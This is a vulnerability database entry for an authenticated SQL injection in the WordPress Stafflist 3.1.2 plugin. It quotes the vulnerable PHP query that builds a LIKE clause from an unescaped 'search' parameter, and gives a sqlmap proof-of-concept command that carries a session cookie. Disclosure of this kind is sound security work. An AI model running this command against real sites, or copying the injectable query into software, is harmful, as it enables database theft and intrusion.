Lucene search
K

WordPress Stafflist 3.1.2 SQL Injection Vulnerability

🗓️ 03 May 2022 00:00:00Reported by Hassan Khan YusufzaiType 
zdt
 zdt
🔗 0day.today👁 218 Views

WordPress Stafflist plugin 3.1.2 SQL Injection Vulnerabilit

Code
# Exploit Title: WordPress Plugin stafflist 3.1.2 - SQL Injection
(Authenticated)
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/stafflist/
# Version: 3.1.2
# Tested on: Firefox
# Contact me: h [at] spidersilk.com

# Vulnerable Code:

$w = (isset($_GET['search']) && (string) trim($_GET['search'])!="" ?
...
  $where = ($w ? "WHERE LOWER(lastname) LIKE '%{$w}%' OR
      LOWER(firstname) LIKE '%{$w}%' OR
      LOWER(department)  LIKE '%{$w}%' OR
      LOWER(email) LIKE '%{$w}%'" : "");


# Vulnerable URL

http://localhost:10003/wp-admin/admin.php?page=stafflist&search=[SQLI]

# POC

```
sqlmap -u 'http://localhost:10003/wp-admin/admin.php?page=stafflist&search=test*'
--cookie="wordpress_cookies_paste_here"
```

# POC Image

https://prnt.sc/AECcFRHhe2ib

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
218